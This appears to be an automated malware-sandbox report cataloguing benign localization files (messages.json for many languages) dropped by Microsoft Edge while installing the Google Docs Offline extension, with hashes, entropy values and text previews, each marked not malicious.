SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
